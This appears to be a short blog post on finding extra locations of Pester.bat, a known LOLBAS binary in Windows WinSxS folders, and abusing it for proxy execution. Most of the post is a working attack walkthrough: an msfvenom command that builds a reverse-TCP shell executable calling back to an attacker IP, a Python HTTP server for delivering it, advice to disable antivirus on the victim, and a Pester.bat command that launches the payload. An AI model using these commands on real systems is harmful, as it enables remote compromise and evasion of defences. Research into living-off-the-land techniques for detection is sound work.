Pester-ing LOLBAS

2 min readDec 11, 2024

--

While messing around with Pester.bat from the LOLBAS project, it’s mentioned that it can be executed from

C:\Program Files\WindowsPowerShell\Modules\Pester\<version>\bin\Pester.bat

I continued to mess around with it looking for other instances of Pester.bat within the Windows environment and observed that it is also located in different file directories (may be subject to change depending on your env)

C:\Windows\WinSxS\amd64_microsoft.powershell.pester_31bf3856ad364e35_10.0.19041.4717_none_48bd1c06292f4fa0

C:\Windows\WinSxS\wow64_microsoft.powershell.pester_31bf3856ad364e35_10.0.19041.4717_none_5311c6585d90119b

You can find them yourself using the below command, thanks to Pentera Labs posting some LOLBAS automation research, you should definitely check it out!

Dir /s c:\windows\*.bat > allBATS.txt

We know that per the original LOLBAS documentation, we only need to provide the argument to execute the cmd.exe

Pester.bat ;cmd.exe

So let’s see if we can execute a malicious payload from a different directory not mentioned in LOLBAS.

Get Need’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Step1: Create malicious binary using MSFVENOM

msfvenom -p windows/x64/shell_reverse_tcp -ax64 -f exe LHOST=192.168.153.136 LPORT=9500 > test.exe

Step2: Setup file transfer
On our Attacker Box, we will generate a Python HTTP Server to transfer

python3 -m http.server 8888

Step3: Download Executable on the victim (turn off AV before doing this)

Step4: Setup Listener on port 9500

Step5: Execute Pester.bat

traverse to the Pester.bat file location and execute test.exe

cd C:\Windows\WinSxS\wow64_microsoft.powershell.pester_31bf3856ad364e35_10.0.19041.4717_none_5311c6585d90119b

Pester.bat ;C:\Users\frankcastle\Desktop\test.exe

Once it is done executing, you should have a reverse shell!

While Pester.bat is a known LOLBAS, it was cool finding an additional location for it that can be used!

Resources

https://www.bleepingcomputer.com/news/security/hackers-can-abuse-microsoft-office-executables-to-download-malware/
https://pentera.io/wp-content/uploads/2023/08/pentera_labs_the_lolbas_odyssey_finding_new_lolbas_and_how_you_can_too.pdf